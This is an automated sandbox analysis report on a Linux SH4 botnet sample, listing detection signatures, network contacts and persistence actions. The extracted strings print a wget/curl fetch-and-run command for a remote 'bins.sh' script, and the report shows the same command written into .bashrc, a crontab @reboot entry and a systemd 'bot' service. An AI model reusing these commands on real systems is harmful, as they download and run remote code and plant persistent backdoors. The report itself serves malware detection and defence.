Linux Analysis Report
sh4.elf

Overview

General Information

Sample name: sh4.elf
Analysis ID: 1558941
MD5: 16fb41b9eb62b0706fd7824ae6eb8d8d
SHA1: 7c99313b0e075431d9b3ee50ecb7f1997ec2cb24
SHA256: 3089adf47259ddf51c16169c6abdd428e30f1a43fe129f56b416977652bfe84a
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 68
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Executes the "crontab" command typically for achieving persistence
Modifies the '.bashrc' or '.bash_profile' file typically for persisting actions
Sample tries to persist itself using cron
Creates hidden files and/or directories
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "rm" command used to delete files or directories
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Reads the 'hosts' file potentially containing internal network hosts
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: sh4.elf Avira: detected
Source: sh4.elf ReversingLabs: Detection: 23%
Source: sh4.elf String: @/cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogsh4->unknown%d/bin/busybox/bin/sh/var/SofiatelnetdD
Source: sh4.elf String: /bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: sh4.elf String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") | crontab -/bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrca
Source: .bashrc.13.dr String: /bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: bot.service.13.dr String: ExecStart=/bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: /bin/curl (PID: 6282) Reads hosts file: /etc/hosts Jump to behavior
Source: /tmp/sh4.elf (PID: 6263) Socket: 127.0.0.1:4161 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: host.zopz-api.com
Source: tmp.xheE4S.22.dr String found in binary or memory: http://serverip/bins/bins.sh
Source: bot.service.13.dr String found in binary or memory: http://serverip/bins/bins.sh;
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 39254
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 39254 -> 443
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: @/cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogsh4->unknown%d/bin/busybox/bin/sh/var/SofiatelnetdD
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal68.troj.linELF@0/4@1/0

Persistence and Installation Behavior

barindex
Source: /bin/sh (PID: 6279) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/sh (PID: 6278) Crontab executable: /usr/bin/crontab -> crontab - Jump to behavior
Source: /tmp/sh4.elf (PID: 6265) File written: /root/.bashrc Jump to behavior
Source: /usr/bin/crontab (PID: 6278) File: /var/spool/cron/crontabs/tmp.xheE4S Jump to behavior
Source: /usr/bin/crontab (PID: 6278) File: /var/spool/cron/crontabs/root Jump to behavior
Source: /tmp/sh4.elf (PID: 6265) File: /root/.bashrc Jump to behavior
Source: /bin/curl (PID: 6282) Directory: /root/.curlrc Jump to behavior
Source: /tmp/sh4.elf (PID: 6275) Shell command executed: sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -" Jump to behavior
Source: /tmp/sh4.elf (PID: 6287) Shell command executed: sh -c "/bin/systemctl enable bot" Jump to behavior
Source: /bin/sh (PID: 6280) Chmod executable: /usr/bin/chmod -> chmod +x bins.sh Jump to behavior
Source: /bin/sh (PID: 6286) Chmod executable: /usr/bin/chmod -> chmod +x bins.sh Jump to behavior
Source: /usr/bin/dash (PID: 6306) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.8toPOS4Sx6 /tmp/tmp.TDNJw6NW71 /tmp/tmp.jhngWstQm0 Jump to behavior
Source: /usr/bin/dash (PID: 6307) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.8toPOS4Sx6 /tmp/tmp.TDNJw6NW71 /tmp/tmp.jhngWstQm0 Jump to behavior
Source: /bin/sh (PID: 6289) Systemctl executable: /bin/systemctl -> /bin/systemctl enable bot Jump to behavior
Source: /tmp/sh4.elf (PID: 6263) Queries kernel information via 'uname': Jump to behavior
Source: /bin/curl (PID: 6282) Queries kernel information via 'uname': Jump to behavior
Source: sh4.elf, 6263.1.00007fff46811000.00007fff46832000.rw-.sdmp, sh4.elf, 6265.1.00007fff46811000.00007fff46832000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sh4
Source: sh4.elf, 6263.1.000055f22484b000.000055f2248d0000.rw-.sdmp, sh4.elf, 6265.1.000055f22484b000.000055f2248d0000.rw-.sdmp Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: sh4.elf, 6263.1.000055f22484b000.000055f2248d0000.rw-.sdmp, sh4.elf, 6265.1.000055f22484b000.000055f2248d0000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sh4
Source: sh4.elf, 6263.1.00007fff46811000.00007fff46832000.rw-.sdmp, sh4.elf, 6265.1.00007fff46811000.00007fff46832000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sh4.elf
Source: sh4.elf, 6265.1.00007fff46811000.00007fff46832000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs